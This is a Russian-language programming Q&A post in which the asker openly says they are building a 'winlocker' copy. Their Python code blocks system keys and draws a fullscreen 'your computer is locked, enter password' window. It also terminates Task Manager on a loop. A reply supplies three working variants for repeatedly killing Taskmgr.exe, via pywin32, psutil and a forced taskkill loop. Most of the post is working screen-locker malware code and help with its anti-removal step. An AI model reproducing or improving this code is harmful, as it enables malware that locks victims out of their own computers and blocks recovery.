Поиск и завершение приложения в MS Windows
Я делаю копию winlocker и мне надо сделать "Радар", который бы искал диспетчер задач и его закрывал. Некоторые идеи брал с форумов, так что не судите меня строго Вот сам код:
import os #Нужен для выключения компа
import time
from tkinter import*
from screeninfo import get_monitors
import psutil
import keyboard #Первая защита-блокировка кнопок для вызова диспетчер задач
keyboard.block_key("win")
keyboard.block_key("shift")
keyboard.block_key("ctrl")
keyboard.block_key("esc")
keyboard.block_key("Alt")
keyboard.block_key("Delete")
#Изучает размер экрана
for monitor in get_monitors():
screen_size =f"{monitor.width}x{monitor.height}"
root = Tk() #Создаем окно и задаем цвет, размер и ставим защиту от закрытия окна
root.config(bg="black")
root.geometry(str(screen_size))
root.overrideredirect(1)
def search_taskmgr(): #Вторая защита(Наработает) - Ищет работающий диспетчер задач и отрубает его
for process in psutil.process_iter():
if process.name().lower() == 'taskmgr.exe':
process.terminate()
root.after(100,search_taskmgr)
def screen_close():
root.destroy()
button_close_root = Button(root,text="Close",command=screen_close) #Экстранная кнопка если не получается выйти из программы
lab_info_block = Label(root,text="Ваш компьютер заблокирован\nНе пробуй зайти в диспетчер задач, он заблокирован :):):)",fg="red",font="Courier 50",bg="black")
ent_password_winloker = Entry(root,font="Courier 50")
lab_enter_password_to_ent = Label(root,text="Введите пароль чтоб разблокировать компьютер",bg="black",fg="red",font="Courier 25")
lab_info_block.grid(row=1,column=1,padx=50)
lab_enter_password_to_ent.grid(row=2,column=1,pady=50)
ent_password_winloker.grid(row=3,column=1,pady=500)
button_close_root.grid(row=5,column=1)
search_taskmgr()
root.mainloop()
Ответы (1 шт):
Автор решения: Amgarak
→ Ссылка
Мне больше нравиться использовать библиотеку pywin32
pip install pywin32
import time
import win32process
import win32api
import win32con
def is_task_manager_running():
process_ids = win32process.EnumProcesses()
for pid in process_ids:
try:
h_process = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid)
exe_name = win32process.GetModuleFileNameEx(h_process, 0)
win32api.CloseHandle(h_process)
if 'Taskmgr.exe' in exe_name:
return pid
except Exception:
...
def kill_process(pid):
try:
h_process = win32api.OpenProcess(win32con.PROCESS_TERMINATE, False, pid)
win32api.TerminateProcess(h_process, 0)
win32api.CloseHandle(h_process)
print(f"Процесс с PID {pid} завершён")
except Exception as e:
print(f"Не удалось завершить процесс с PID {pid}: {e}")
while True:
pid = is_task_manager_running()
if pid:
print("Диспетчер задач открыт, пытаемся завершить процесс...")
kill_process(pid)
time.sleep(1)
Или всё тоже самое:
import time
import psutil
def search_taskmgr():
while True:
for process in psutil.process_iter():
if process.name() == 'Taskmgr.exe':
process.terminate()
time.sleep(1)
search_taskmgr()
А вообще можно и не узнавать PID, а просто по имени убивать..
import time
import subprocess
def kill_task_manager():
try:
subprocess.run(['taskkill', '/IM', 'Taskmgr.exe', '/F'], check=True)
print("Диспетчер задач был успешно завершён.")
except subprocess.CalledProcessError as e:
print(f"Ошибка при завершении Диспетчера задач: {e}")
while True:
kill_task_manager()
time.sleep(1)
taskkill - Запускает утилиту для завершения процессов.
/IM Taskmgr.exe - Указывает, что нужно завершить процесс с именем
Taskmgr.exe
./F - Принудительно завершает процесс, даже если он не отвечает.
Вот только всё это будет работать только при одном условии..